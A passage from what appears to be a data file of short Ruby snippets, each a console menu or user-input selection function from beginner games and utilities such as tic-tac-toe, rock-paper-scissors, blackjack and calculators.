\"------------------------------------------------------\".colorize(:yellow)\n prompt = TTY::Prompt.new\n choices = [\n {name: 'Yes', value: 1},\n {name: 'No', value: 2},\n ]\n players_input = prompt.select(\"Select An Option:\", choices) \n case players_input\n when 1\n return execute_game\n when 2\n return main_menu\n end \nend", "def selection_cards cards\n puts 'Please select 3 cards for your chosen set or enter \\'q\\' as your first card to quit.'\n print 'First card: '\n card_one = gets.chomp\n if card_one.eql? 'q'\n puts 'Quiting current game...'\n return ['q']\n else\n print 'Second card: '\n card_two = gets.chomp\n printf 'Third card: '\n card_three = gets.chomp\n card_one, card_two, card_three = *(dupes card_one, card_two, card_three)\n validRng = 0...cards.size\n until (validRng.cover? card_one) && (validRng.cover? card_two) && (validRng.cover? card_three)\n puts 'A card choice was found to be invalid. Please select 3 new cards.'\n print 'First card: '\n card_one = gets.chomp\n print 'Second card: '\n card_two = gets.chomp\n print 'Third card: '\n card_three = gets.chomp\n card_one, card_two, card_three = *(dupes card_one, card_two, card_three)\n end\n end\n [cards[card_one], cards[card_two], cards[card_three]]\nend", "def select_game\n intro\n input = gets.chomp\n\n case input.to_i\n when 1\n start_new_game\n when 3\n load_last_save\n else\n puts 'i do not know that input'\n end\nend", "def start\n input = nil\n while input != 5\n puts \"How would you like to play? Please select a number:\"\n puts \"1. computer vs. computer\"\n puts \"2. human vs. computer\"\n puts \"3. human vs. human\"\n puts \"4. wargame mode\"\n puts \"5. quit\"\n\n puts \" \"\n puts \"Make a selection:\"\n input = gets.strip.to_i\n case input\n when 1\n game = Game.new(Computer.new(\"X\"), Computer.new(\"O\"), board = Board.new)\n game.play\n play_again?\n\n when 2\n human_vs_computer\n\n when 3\n game = Game.new(Human.new(\"X\"), Human.new(\"O\"), board = Board.new)\n puts \"Player 1 will be 'X'.\"\n puts \"Player 2 will be 'O'.\"\n game.play\n play_again?\n\n when 5\n puts \"Thanks for playing!\"\n\n when 4\n puts \"How many wargames would you like to simulate? Choose a number.\"\n number = gets.strip.to_i\n number.times { wargame }\n puts \"**Games played: #{number} ** Games drawn: #{@@draws} ** Games won: #{number-@@draws} **\"\n puts \" \"\n else\n puts \"That's an invalid choice.\"\n end\n end\nend", "def read_choice\n\tputs \"Welcome to Crappy Calc\"\n\tputs \"Available functions:\"\n\tputs \"1. Addition\"\n\tputs \"2. Subtraction\"\n\tputs \"3. Multiplication\"\n\tputs \"4. Division\"\n\tputs \"5. Exponents\"\n\tputs \"6. Square Root\"\n\tputs \"Q: Quit\"\n\n\tprint \"Please enter your selection: \"\n\n\tchoice = gets.chomp.downcase\n\tchoice\nend", "def intro()\n puts \"This program will allow you to enter a new owner and vehicle, review all the vehicles currently registered,\"\n puts \"edit a vehicle/owner or delete a vehicle and owner.\"\n puts \"1: Enter a new owner and vehicle.\"\n puts \"2: Review all vehicles currently registered.\"\n puts \"3: Edit a vehicle/owner.\"\n puts \"4: Delete a vehicle and owner.\"\n puts \"5: End program.\"\n puts \"Please enter 1, 2, 3, 4 or 5: \"\n Integer selection = gets\n while selection != 5\n if selection == 1\n generate_id()\n capture_owner()\n capture_auto()\n end\n end\nend", "def get_user_selection\n guess_again = true\n until guess_again == false\n puts \"Please choose rock, paper, or scissors (or q to quit)\"\n @user_current_throw = gets.chomp\n case @user_current_throw.downcase\n when \"q\"\n puts \"Thanks for playing!\"\n exit\n when \"rock\"\n @user_current_throw = @rock\n guess_again = false\n when \"scissors\"\n @user_current_throw = @scissors\n guess_again = false\n when \"paper\"\n @user_current_throw = @paper\n guess_again = false\n else\n puts \"That is not a valid entry\"\n guess_again = true\n end\n end #end of until\n end", "def choose_game(type)\n case(type)\n when '2'\n puts \"This feature is not yet available. Please try again later.\"\n # two_player_mode\n when '1'\n puts \"This feature is not yet available. Please try again later.\"\n # one_player_mode\n when '0'\n puts \"This feature is not yet available. Please try again later.\"\n # zero_player_mode\n when 'q'\n puts \"Thanks for playing! Good bye.\"\n exit\n else\n puts \"You have not selected a valid option.\"\n puts \"Please enter a number (0-2) or 'q' to quit.\"\n end\n\n choose_game(prompt)\nend", "def choosestory(username)\n\nstorychoice = gets.chomp.downcase\n\n case storychoice\n when 'cop story', 'cop story', 'cop', 'cop'\n puts \"\nYou have chosen Cop Story.\"\n copstory(username)\n when 'rom com', 'rom-com', 'romance', 'rom', 'romcom'\n puts \"\n\nYou have chosen Rom-Com.\"\n romcom(username)\n when 'sci fi', 'sci-fi', 'sci', 'science fiction'\n puts \"\n\nYou have chosen Sci-Fi.\"\n scifi(username)\n else\n puts \"Sorry, I don't understand!\n \nWould you like to hear a Rom-Com, Cop Story, or Sci-Fi?\"\n choosestory(username)\n end\nend", "def player_pick(player_num) #to convert the player's letter choice to a word\n if player_num == 'r'\n player_choice = 'rock'\n elsif player_num == 'p'\n player_choice = 'paper'\n elsif player_num == 's'\n player_choice = 'scissors'\n end\nend", "def start\nputs \" \"\nputs \" \"\nputs \" --- The Escape --- \"\nputs\" ----------------\"\nputs\"|1) New Game |\"\nputs\"|2) Load Game |\"\nputs\"|3) Intro |\"\nputs\"|4) About |\"\nputs\"|5) Exit |\"\nputs\" ---------------- \"\n$choice=0\n until (($choice>=1)&&($choice<=5)) do\nputs \"Chose your option:\"\n$choice = gets.chomp.to_i\nend\n\nif ($choice==4)\nabout\nstart\nend\n\nif ($choice==3)\nintro\nstart\nend\n\nif ($choice==5)\nclose\nend\n\nif ($choice==2)\nload_game\nend\n\nif ($choice==1)\nnew_game\nend\n\n end", "def game_type\n greeting\n\n puts \"\\nPlease select a Game type\"\n type = gets.strip\n\n until type.match(/[0|1|2]/)\n puts \"Please select a valid Game type\"\n type = gets.strip\n end\n\n\n case type\n when \"2\"\n game = Game.new(player_1 = Human.new(\"X\"), player_2 = Human.new(\"O\"), board = Board.new)\n when \"1\"\n # ask who plays first and verify user input\n puts \"Who should go first?\\nEnter c for computer or h for human\"\n first_player = gets.strip.downcase\n\n until first_player.match(/[c|h]/)\n puts \"Please select a valid player (c for computer or h for human)\"\n first_player = gets.strip.downcase\n end\n\n if first_player == \"c\"\n player1 = Computer.new(\"X\")\n player2 = Human.new(\"O\")\n elsif first_player == \"h\"\n player1 = Human.new(\"X\")\n player2 = Computer.new(\"O\")\n end\n game = Game.new(player_1 = player1, player_2 = player2, board = Board.new)\n when \"0\"\n game = Game.new(player_1 = Computer.new(\"X\"), player_2 = Computer.new(\"O\"), board = Board.new)\n end\n game\nend", "def pick_show\n puts \"\"\n puts \"Which show would you like more details on?\"\n puts \"Please Enter the Show List number or 'Back' to return to the Category list.\"\n puts \"\"\n input = gets.strip\n if input.downcase == \"back\"\n self.back_to_category_list\n elsif input.to_i >0 && input.to_i <= StitcherTopShows::Show.all.length\n show = StitcherTopShows::Show.find_by_index(input.to_i)\n print_show_details(show)\n\n puts \"\"\n puts \"Would you like to see another show?\"\n puts \" - Enter Y if you do, \"\n puts \" -'Exit' if you are done, or\"\n puts \" -'Back' if you would like to got back to the Category List.\"\n\n input = gets.strip.downcase\n\n if input == \"y\" \n self.print_show\n self.pick_show\n elsif input == \"back\"\n self.back_to_category_list\n elsif input == \"exit\"\n puts \"\"\n puts \"Thank you for using Stitcher Top 100 Shows!\"\n puts \"Have a great day!\"\n exit\n else \n puts \"\"\n puts \"I don't understand that answer.\"\n self.pick_show\n end\n else\n puts \"\"\n puts \"I don't understand that answer.\"\n self.pick_show\n end\n end", "def first_opt\n prompt = TTY::Prompt.new\n\n puts \"\\n\"\n\n selector = prompt.select(\"What would you like to do?\") do |menu|\n menu.choice \"Study\"\n menu.choice \"Start quiz\"\n menu.choice \"Add a new Q&A\"\n menu.choice \"Exit\"\n end\n\n case selector\n when \"Study\"\n show_categories\n study(@category_input_push)\n when \"Start quiz\"\n\n show_categories\n quiz(@category_input_push)\n\n when \"Add a new Q&A\"\n another_qa_opt\n when \"Exit\"\n exit\n end\nend", "def choose_game\n x = 0\n until x == 1 || x == 2\n puts \"Which game would you like to play?\"\n puts \"1 - Rock/Paper/Scissors\"\n puts \"2 - Rock/Paper/Scissors/Lizard/Spock\"\n x = gets.chomp.to_i\n if x == 1\n @rules = Rules_RPS.new\n elsif x == 2\n @rules = Rules_RPSLS.new\n else\n puts \"That is not a valid choice.\"\n end\n end\n end", "def pick_player\n \n puts \"Let's play Tic Tac Toe!\"\n puts \"But first, let's get acquainted. I am your computer #{Socket.gethostname}\"\n puts \"What's your name?\n \"\n\n # if you don't pick a name we'll pick a greeting for you\n @player = gets.chomp\n if @player == ''\n @player = 'Human friend'\n end\n \n # getting cracking already\n clr \n puts \"A pleaure to see you, #{@player}.\"\n puts \"Please choose if you want to play as X or O\"\n puts \"by pressing the corresponding key on your keyboard.\n \"\n input = ''\n until input == \"x\" || input ==\"o\" do\n input = gets.chomp.upcase\n if input == \"X\" || input == \"O\"\n @marker = input\n puts \"Thanks #{@player}, you picked #{@marker}, what's your move?\\n\"\n new_board\n make_move\n else\n puts \"that's not an X or an O. Try again\"\n end\n end\n end", "def cthulu_room\n puts \"Here you see the great evil Cthulu.\"\n puts \"He, it, whatever stares at you and you go insane.\"\n puts \"Do you flee for your life or eat your head?\"\n\n print \"> \"\n choice = $stdin.gets.chomp\n #\n if choice.include? \"flee\"\n start\n elsif choice.include? \"head\"\n dead(\"Well that was tasty!\")\n else\n cthulu_room\n end\nend", "def player_decision(player, hand, hand_index, double, split)\n puts \"#{player.name}, your options for Hand #{hand_index+1}:\"\n puts \" H: Hit\"\n puts \" S: Stand\"\n puts \" D: Double Down\" if double\n puts \" P: Split the Pair\" if split\n puts \" T: Training Mode Recommendation\" if $Training_Mode\n puts \" C: Card Counting Mode Recommendation\" if $Counting_Mode\n puts \" #{shoe_count}\" if $Counting_Mode\n print \"Your choice? \"\n choice = gets.strip.downcase.take(1)\n linebreak\n\n if \"h\" == choice # Hit\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n !busted? hand\n elsif \"s\" == choice # Stand\n false\n elsif \"d\" == choice # Double Down\n player.wallet -= hand.bet\n hand.double_down\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n busted? hand\n false\n elsif \"p\" == choice # Split\n player.wallet -= hand.bet\n puts \"The dealer splits you into:\"\n player.split(hand_index, @shoe.hit, @shoe.hit)\n elsif \"t\" == choice && $Training_Mode # Training Hint\n puts training_recommendation(hand, double, split)\n linebreak\n player_decision(player, hand, hand_index, double, split)\n elsif \"c\" == choice && $Counting_Mode # Counting Hint\n puts counting_recommendation\n linebreak\n player_decision(player, hand, hand_index, double, split)\n else # Invalid\n puts \"Selection not recognized. Please try again.\"\n player_decision(player, hand, hand_index, double, split)\n end\n end", "def provide_user_option \r\n @user_choice = user_input \"\\nWhat would you like to do?\\nPress 1 to pick a file and play normally\\nPress 2 to play file in reverse\\nPress 3 if you'd like to exit\\n\"\r\nend", "def select_item\n puts 'Here are your available items'\n food_list\n print 'Select your item by number ---> '\n food_choice = gets.strip.to_i\n food_choice = food_choice - 1\n in_cart = food_choice\n if food_choice == in_cart\n in_cart = food_list[in_cart.to_i]\n @in_cart_items.unshift(in_cart)\n @cond_cart_view += 1\n else\n end\n puts 'Select another item? y/n -->' \n choice = gets.strip.downcase\n if choice == 'y'\n select_item\n else \n menu\n end\nend", "def intro #passes tests, quick and dirty to make it playable\n puts \"Welcome to Tic Tac Toe, please select:\"\n puts \"1. Human versus Computer.\"\n puts \"2. Human versus Human.\"\n puts \"3. Watch Computer versus Computer.\"\n puts \"4. Exit.\"\n input = gets.strip.to_i\n if input == 1\n player1 = Human.new(\"X\")\n player2 = Computer.new(\"O\")\n game = Game.new(player1, player2)\n game.play\n intro\n elsif input == 2\n player1 = Human.new(\"X\")\n player2 = Human.new(\"O\")\n game = Game.new(player1, player2)\n game.play\n intro\n elsif input == 3\n player1 = Computer.new(\"X\")\n player2 = Computer.new(\"O\")\n game = Game.new(player1, player2)\n game.play\n intro\n elsif input == 4\n\n else intro\n end\n\n end", "def gets_user_guess\n @guess = gets.strip.downcase\n generate_new_card\n end", "def chooser(action , aDragon)\r\n\tif action == 1\r\n\t\taDragon.full?\r\n\telsif action == 2\r\n\t\taDragon.feed\r\n\telsif action == 3\r\n\t\taDragon.needsToPoop?\r\n\telsif action == 4\r\n\t\taDragon.poop\r\n\telsif action == 5\r\n\t\taDragon.play?\r\n\telsif action == 6\r\n\t\taDragon.play\r\n\telsif action == 7\r\n\t\taDragon.sleepy?\r\n\telsif action == 8\r\n\t\taDragon.sleep\r\n\telsif action == 9\r\n\t\texit\r\n\telse\r\n\t\tputs 'Sorry, that\\'s not a valid command.'\r\n\t\tputs 'Enter a command number (1-9)'\r\n\t\taction = gets.chomp.to_i\r\n\tend\r\nend", "def choose_and_add_card_to_user_deck\n prompt = TTY::Prompt.new\n card = choose_hero\n response = prompt.select('Do you want to add this card to your collection?', %w(Yes No))\n if response == \"Yes\"\n added_card = UserCard.create(user_id: self.id, card_id: card.id)\n puts \"#{added_card.card.name.upcase} was added to your collection.\"\n sleep(1)\n end\n system('clear')\n title\n response = prompt.select('Do you want to look for another card?', %w(Yes No))\n if response == \"Yes\"\n self.choose_and_add_card_to_user_deck\n end\n end", "def run\n choose_game(prompt)\nend", "def game\n horse_playing = true\n while horse_playing == true\n selecting = TTY::Prompt.new\n horses = ['PinkLightning', 'WildCat', 'Eclipse', 'Delphi', 'TheDaringDrunk', 'CrazySisterSeline', 'JackSparrow', 'RunningBull', \"RazMaTazz\"]\n racers = []\n selector = 0\n 4.times{\n racer = horses.sample\n horses.delete(racer)\n racers.push(racer)\n }\n puts \"The following horses are racing\"\n puts racers\n choice = selecting.select(\"Who do you think will win\", racers)\n bet = gamble()\n winner = racers.sample\n case winner == choice\n when true\n if choice != \"RazMaTazz\"\n puts \"#{winner} comes thundering over the line, you have won this time\"\n @balance = bet + @balance\n else\n puts \"#{winner} comes in last, better luck next time!\"\n @balance = @balance - bet\n end\n when false\n puts \"#{winner} comes in first, better luck next time!\"\n @balance = @balance - bet\n end\n horse_playing = selecting.select(\"Would you like to bet on the next race\" , [\"Yes\",\"No\"]) == \"Yes\"\n end\n puts \"Returning to Game Menu\"\n end", "def play_again?(username, banner_cards, banner_lets_play)\n puts \"Would you like to play again? (y/n)\"\n choice = gets.chomp[0].downcase\n if choice == \"n\"\n puts \"\\n\\n\"\n puts \"Thank you, #{username}, for visiting\".center(70)\n puts \"Mary's Magnificent Emporium of Blackjack\".center(70)\n puts banner_cards\n puts \"\\n\\n\"\n exit\n else\n puts banner_lets_play\n return choice\n end\n end", "def menu\n\tputs \"Please select your calculator.\"\n\tputs \"1. Basic calculator\"\n\tputs \"2. Advanced calculator\"\n puts \"3. BMI calculator\"\n puts \"4. Mortgage calculator\"\n puts \"Q. Quit\"\n\t\n\tchoice = gets.chomp.to_i\n\t\n\tcase choice\n when 0\n quit\n when 1\n\t\tbasic_calculator\n\twhen 2\n\t\tadvanced_calculator\n when 3\n bmi_calc\n when 4\n mortgage_calc\n when 5\n puts \"Please make a valid selection\"\n choice = gets.chomp.to_i\n\n end\nend", "def main_selector\n print \"What would you like to do? Create, List, Update, or Vote: \"\n main_decision = gets.chomp.downcase\n main_decision = main_decision[0]\n case main_decision\n when \"c\"\n create_person_or_politician\n when \"l\"\n list_characters_created\n when \"u\"\n update_character\n when \"v\"\n vote\n else\n puts \"That is not a valid entry please try again!\"\n main_selector\n end\n end", "def game_mode\n puts \"\\nDo you want to play against another person or against the computer?\"\n puts \"\\nEnter 1 to play against another person.\"\n puts \"Enter 2 to play against the computer.\"\n choice = gets.chomp\n until choice == \"1\" || choice == \"2\"\n puts \"Please enter 1 or 2:\"\n choice = gets.chomp\n end\n choice\nend", "def get_choice input\n\n if input == \"s\"\n # clear the screen\n system \"clear\"\n # start game\n start_game\n elsif input == \"c\"\n change_size\n elsif input == \"q\"\n # terminate the program\n exit\n end\nend", "def menu\n puts \"Select An Option \\n1) Rock \\n2) paper \\n3) Scissors\"\n u = gets.strip.to_i\n c = rand(1..3)\n\n if u == c\n puts \"tie\"\n elsif u == 1 && c == 3 || u == 2 && c == 1 || u == 3 && c == 2\n puts \"You win!\"\n else\n puts \"You lose!\"\n end\nend", "def switch\nchoice=gets.chomp.to_s\n@user_choice=choice\n\nif @user_choice==\"douwe egberts\"\n @amount_de-=1\n @total_products+=1\n puts \"You have bought #{choice}\"\n\nelsif @user_choice==\"nespresso\"\n @amount_nes-=1\n @total_products+=1\n puts \"You have bought #{choice}\"\n\n elsif @user_choice==\"senseo\"\n @amount_senseo-=1\n @total_products+=1\n puts \"You have bought #{choice}\"\n\n else\n puts \"wrong\"\n show\n end\n end", "def main \n puts \"---------------------\"\n puts \"Welcome to Mike's Number guessing game\"\n puts \"----------------------\"\n puts \"Do you want to play?\"\n choice = gets.chomp.to_s\n while !valid(choice)\n puts \"please enter either y or n\"\n choice = gets.chomp.to_s\n end \n if choice == 'y'\n mode \n else \n puts \"Well, I hope you come back soon to play!\"\n end \nend", "def play\n @moves = ['rock', 'paper', 'scissors',]\n @player_choice = $stdin.gets.chomp.downcase\n @opponent_choice = @moves.sample\n end", "def user_choose_rps\n\tputs \"Enter rock, paper or scissors:\"\n user = gets.chomp\n user\nend", "def bear_choice(choice) # here we took all the oprions we're just making a funtion with all of them that we can call later\n if choice == \"1\"\n \tputs \"The bear eats your face off. Good job!\"\n elsif choice == \"2\"\n \tputs \"The bear eats your legs off. Good job!\"\n else\n \tputs \"Well doing %s is probably better. The bear runs away and leaves the cake behind.\" %bear\n end\nend", "def menu\n puts \"I am a Calculator, there are many like me but these calculations are mine\"\n puts \"What do you want to do? \"\n puts \"- Add\"\n puts \"- Subtract\"\n puts \"- Multiply\"\n puts \"- Divide\"\n puts \"- More advanced\"\n puts \"- Crazy Stuff\"\n puts \"- Quit\"\n print \"> \"\n $selection = gets.chomp.downcase\n\ncase $selection\nwhen \"more advanced\"\n advanced_calc\nwhen \"crazy stuff\"\n crazy_stuff\nwhen \"quit\"\n \"q\"\nelse\n basic_calc\nend\n\nend", "def set_player(choice=nil)\n\n\t\t# until choice == 1 || choice == 2\n\n\t\t\tchoice = gets.chomp.to_i if !choice\n\t\t\tcase\n\n\t\t\t\twhen choice == 1\n\n\t\t\t\t\t @player_one = \"X\"\n\t\t\t\t\t @player_two = \"O\"\n\n\t\t\t\twhen choice == 2\n\n\t\t\t\t\t @player_one = \"O\"\n\t\t\t\t\t @player_two = \"X\"\n\n\t\t\t\twhen choice != 1 || choice != 2\n\n\t\t\t\t\tputs '-------- Invalid Choice! -------'\n\t\t\t\t\tputs '---------- Pick Again! ---------'\t\n\t\t\t\t\tputs '--------------------------------'\n\t\t\tend\n\t\t# end\n\n\t\tputs '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'\n\t\tputs \"$$$$$$$ Player One #{@player_one} $$$$$$$\"\n\t\tputs \"$$$$$$$ Player Two #{@player_two} $$$$$$$\"\n\n\t\treturn @player_one\n\n\tend", "def pick_option\n input = get_input\n if input == '1'\n events_array = search_by_city\n display_events_by_city(events_array)\n save_event_or_main_menu(events_array)\n elsif input == '2'\n attractions_array = search_by_keyword\n display_by_keyword(attractions_array)\n save_event_or_main_menu(attractions_array)\n elsif input == '3'\n display_user_events\n elsif input == '4'\n delete_account\n elsif input == '5'\n space(1)\n puts \"#{$logged_in.username}, thanks for checking us out. See ya later!\"\n exit\n else\n space(1)\n invalid_input\n pick_option\n end\nend", "def main_menu\n options = [\"View recipe book\", \"Search by ingredient\", \"Quit app\"]\n answer = @prompt.select(\"Choose an option:\".colorize(:color => :blue), (options))\n if answer == options[0]\n select_recipe_from_book(@user.view_recipe_book)\n elsif answer == options[1]\n find_recipe\n elsif answer == options[2]\n puts ''\n puts \"Thanks for using Feed. See you next time!\".colorize(:color => :blue)\n system exit\n end\nend", "def play\n puts \"What is your name? \"\n name = gets.chomp\n \n # default name\n if name.length < 1\n name = \"Alex\"\n end\n\n puts \"How much would you like to buy in? (number in dollars)\"\n amount = gets.to_i\n \n # default to 1000\n if amount == 0\n amount = 1000\n end\n\n game = Game.new(name, amount)\n game.play\nend", "def define_players\n puts \"How many players want to play? (0, 1, or 2)\"\n @num_players = gets.strip.to_i\n\n get_player_input = \"Would you like to be 'X's or 'O's?\";\n #binding.pry\n case @num_players\n when 0\n @player_1 = Players::Computer.new(\"X\")\n @player_2 = Players::Computer.new(\"O\")\n when 1\n puts get_player_input;\n input = gets.strip;\n\n input == \"O\" || input == \"o\" ? @player_1.token = \"O\" && @player_2 = Players::Computer.new(\"X\") : @player_2 = Players::Computer.new(\"O\")\n when 2\n puts get_player_input;\n input = gets.strip;\n if input == \"O\" || input == \"o\"\n @player_1.token = \"O\" && @player_2.token = \"X\"\n end\n else\n puts \"Invalid input, please select a valid option.\";\n define_players;\n end\n end", "def make_player(player_num)\n choice = 0\n puts \"For Human Opponent type 1 \\nFor Computer Opponent type 2\"\n until choice == 1 || choice == 2\n choice = gets.to_i\n if choice == 1\n puts \"Enter your name\"\n player = Player.new(gets.chomp) \n elsif choice == 2\n player = AI_Player.new(\"Computer #{player_num}\")\n else puts \"not a valid choice, pick again\"\n end\n end\n player\n end", "def choose_club\n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"For which club?\", filter: true) do |menu|\n all_clubs.each do |club|\n menu.choice club.name\n end\n end\nend", "def user_selection\n menu\n choice = gets.to_i\n case choice\n when 1\n create_contact\n when 2\n view_contacts\n when 3\n delete_contact\n when 4\n edit_contact\n when 5\n puts \"Adios Amigo!\"\n exit\n else\n puts \"Invalid Choice Try Again\"\n end\nend", "def make_role_choice(human_name)\n puts \"Hi there #{human_name}! Enter b to play as the codeBreaker or m to play as the codeMaker.\"\n choice = gets.chomp.to_s\n if %w[b m].include?(choice)\n create_players(choice, human_name)\n else make_role_choice(human_name)\n end\n end", "def choice\n\n\t$c_choice = 1 + rand(3)\n\n\t# Convert int to appropriate string\n\n\tcase $c_choice\n\t\twhen 1\n\t\t\t$c_choice = \"rock\"\n\t\twhen 2\n\t\t\t$c_choice = \"paper\"\n\t\twhen 3\n\t\t\t$c_choice = \"scissors\"\n\tend\n\n\tputs $c_choice.upcase\n\nend", "def choice\n puts \"Welcome to haiwet\"\n\n input = nil\n while input != \"exit\" do\n puts \"please enter the name of the service you want to see a list of\"\n puts \"1- courses\"\n puts \"2- products\"\n puts \"3- Other\"\n input = gets.strip.downcase\n if input == \"courses\"\n cours_list\n option_cour\n done\n elsif input == \"products\"\n products_list\n option_prod\n done\n elsif input == \"other\"\n site_list\n option_site\n done\n else\n puts \"Didn't you understand?\"\n end\n\n end\n\n end", "def rpc\n puts \"Rock Paper Scissors?\"\n user_choice = gets.strip\n cpu_choice = ['rock', 'paper', 'scissors'].sample\n puts cpu_choice\n if user_choice === cpu_choice\n puts 'Tie'\n else\n case user_choice\n when 'rock'\n result = (cpu_choice === 'scissors') ? 'Win' : 'Lose'\n puts result\n when 'paper'\n result = (cpu_choice === 'rock') ? 'Win' : 'Lose'\n puts result\n when 'scissors'\n result = (cpu_choice === 'paper') ? 'Win' : 'Lose'\n puts result\n else\n user_choice\n end\n end\nend", "def difficulty(size,marker)\n p \"1 is easy, 2 is medium, and 3 is unbeatable difficulty\"\n choice = gets.chomp\n if [\"1\", \"2\", \"3\"].include?(choice) \n choose_ai(\"ai \" + choice,size,marker)\n else\n p \"Incorrect Input\"\n difficulty(size,marker)\n end\nend", "def process(selection)\n case selection\n when \"1\"\n input_students\n when \"2\"\n show_students\n puts \"Show successful\"\n when \"3\"\n save_students\n when \"4\"\n filename = get_filename\n load_students(filename)\n when \"9\"\n exit\n else\n puts \"I don't know what you mean, try again\"\n end\nend", "def card(hand)\n loop do\n print \"What card do you want (only from sets you have): \"\n wanted_card_name = gets.chomp\n # check against sets, and validate input (i.e. wanted card set in hand, but wanted card is not)\n unless Deck.card_id(wanted_card_name).nil?\n if (hand.collect { |e| e[0] }.include? (Deck.card_id(wanted_card_name)[0])) && !(hand.include? (Deck.card_id(wanted_card_name)))\n return Deck.card_id(wanted_card_name)\n else\n print \"Please enter a valid card name...\\n\"\n end\n else\n print \"Please enter a valid card name...\\n\"\n end\n end\n end", "def main_menu\n print 'YoU pIcK NoW!: '\n case gets.chomp.to_i\n when 1 then @game = Gamestate.new(true, true)\n when 2 then @game = Gamestate.new(true)\n when 3 then @game = Gamestate.new\n when 4\n if Dir.exist?('saves')\n @game = Gamestate.new(false, false, true)\n @game.load_game\n else\n print 'WrOnG! '\n main_menu\n end\n when nil || 5..9 || 0\n print 'WrOnG! '\n main_menu\n end\nend", "def get_character_choice\n puts \"Please choose 1-5 to learn more about that character or type 'Let it go' to exit.\"\n input = gets.chomp\n if input.to_i.between?(1,5)\n display_character_info(input) \n start \n elsif input == \"Let it go\"\n exit_prg \n end \n end", "def select_case\n puts\"You turn, \" + @current_player.name + \".\"\n loop do\n puts \"Select a case:\"\n case_selected = gets.chomp.upcase\n return case_selected if handle_selection(case_selected)\n end\n end", "def classify_player(chosen)\n if chosen == 'R' || chosen == 'r'\n return 'Rock'\n elsif chosen == 'P' || chosen == 'p'\n return 'Paper'\n elsif chosen == 'S' || chosen == 's'\n return 'Scissors'\n elsif chosen == 'y' || chosen == 'Y'\n output \"Great! Let's go!!!\"\n play_again(chosen)\n elsif chosen == 'n' || chosen == 'N'\n puts \"Goodbye!\"\n exit\n elsif chosen.to_s.empty?\n puts \"*****Please enter a valid option!*****\\n\"\n play_again(chosen)\n else puts \"*****Invalid option!*****\\n\"\n play_again(chosen)\n end\nend", "def choose\n puts \"Do you like programming? Yes or No please.\"\n choice = gets.chomp\n case choice.downcase #value being evaluated\n when \"yes\" #possible value\n puts \"That\\'s great!\"\n when \"no\" #possible value\n puts \"That\\'s too bad!\"\n when \"maybe\" #possible value\n puts \"Glad you\\'re giving it a chance!\"\n else #executed as a default\n puts \"I have no idea what that means\"\n end\nend", "def invalidSelection(humanPlayer)\n until humanPlayer.upcase == \"O\" || humanPlayer.upcase == \"X\"\n puts \"please enter a valid selection.\"\n humanPlayer = gets.chomp\n end\n return humanPlayer \nend", "def make_character\n system \"clear\"\n font_big = TTY::Font.new(:doom)\n font_col = Pastel.new\n puts font_col.red(font_big.write(\"Character Creation\"))\n puts \"Create a new character!\"\n user_character = $prompt.select(\"What character class would you like to choose?\", [\"Barbarian\", \"Wizard\", \"Thief\", \"Random\"])\n if user_character != \"Random\"\n puts \"Enter character name: \"\n char_name = gets.chomp\n end\n # Error check if player doesn't enter any name\n while char_name == \"\"\n puts \"Please enter a name:\"\n char_name = gets.chomp\n end\n case user_character\n when \"Barbarian\"\n new_player = BarbarianClass.new(char_name)\n when \"Wizard\"\n new_player = WizardClass.new(char_name)\n when \"Thief\"\n new_player = ThiefClass.new(char_name)\n else\n random_character\n end\n character_check(new_player)\nend", "def new_game\n system(\"clear\")\n pastel = Pastel.new\n puts \"\"\n puts \"\"\n puts pastel.cyan(\"Let's play! Please tell me your name:\")\n input = gets.chomp\n $player = Player.new(input)\n puts pastel.cyan(\"Okay, thanks #{$player.name}! This will be used next to your scores on the score board.\")\n category_select\nend", "def start\n\n puts \"You are in a dark room\"\n puts \"There is a door to your right and left and there is a path up the road\"\n puts \"Which one do you take?\"\n\n print \"> \"\n choice = $stdin.gets.chomp\n\n if choice == \"left\"\n witch_room\n elsif choice == \"right\"\n zeus_room\n elsif choice == \"up\"\n heaven\n else\n unicorn(\"You become a unicorn and leave the boring earth to humans\")\n end\nend", "def color_selection\n\t\tputs \"Player 1, do you choose \\\"red\\\" or \\\"black\\\"?\"\n\t\tcolor = gets.chomp.strip.downcase\n\t\tcase color\n\t\twhen \"red\"\n\t\t\t@player1 = Player.new(:red)\n\t\t\t@player2 = Player.new(:black)\n\t\twhen \"black\"\n\t\t\t@player1 = Player.new(:black)\n\t\t\t@player2 = Player.new(:red)\n\t\telse\n\t\t\tputs \"Error: Invalid entry. Try again...\"\n\t\t\tcolor_selection\n\t\tend\n\t\tfirst_turn\n\tend", "def record_users_choice input\n\n if input == \"p\"\n player_picked = \"Paper\"\n elsif input == \"r\"\n player_picked = \"Rock\"\n elsif input == \"s\"\n player_picked = \"Scissors\"\n end\nend", "def get_user_choice\n @user_choice = gets.chomp\n end", "def give_choices\n puts \"\\nWhat would you like to do today?\n | 1 | Withdraw money\n | 2 | Deposit money\n | 3 | Check balance\n | 4 | Exit\"\n\n choice = gets.chomp.upcase\n\n case choice\n when \"1\", \"WITHDRAW\", \"WITHDRAW MONEY\"\n puts \"You chose withdraw. How much would you like to withdraw?\"\n withdraw_amount = gets.chomp.to_f\n @withdraw_amount = withdraw_amount\n withdraw(withdraw_amount)\n when \"2\", \"DEPOSIT\", \"DEPOSIT MONEY\"\n puts \"You chose deposit. How much would you like to deposit?\"\n deposit_amount = gets.chomp.to_f\n @deposit_amount = deposit_amount\n deposit(deposit_amount)\n when \"3\", \"CHECK BALANCE\", \"CHECK\"\n puts \"You chose to check your balance. Your current balance is #{@balance}.\"\n when \"4\", \"EXIT\"\n puts \"Thank you for choosing E-Corp Bank.\"\n else\n puts \"Error, invalid input. Please try again.\"\n give_choices\n end\n\n #Calls ask_again method\n ask_again\n end", "def menu_choice_conditions\n\n choice=0\n until ((choice>=1)&&(choice<=4)) do\n # puts `afplay AMemoryAway.mp3\\n`\n empty_line\n\n say (\"Chose your Quest: \\n\")\n sleep(0.5)\n puts \"\\u{1F449}\"\n choice = gets.chomp.to_i\n end\n if (choice==1)\n name unless $name==\",\"\n # thebes\n thebes\n end\n\n if (choice==2)\n name unless $name==\",\"\n troy\n p \"troy\"\n end\n\n if (choice==3)\n name unless $name==\",\"\n hades\n p \"hades\"\n end\n\n if (choice==4)\n end_game\n end\n\nend", "def get_attachment_choice\n puts \"Which 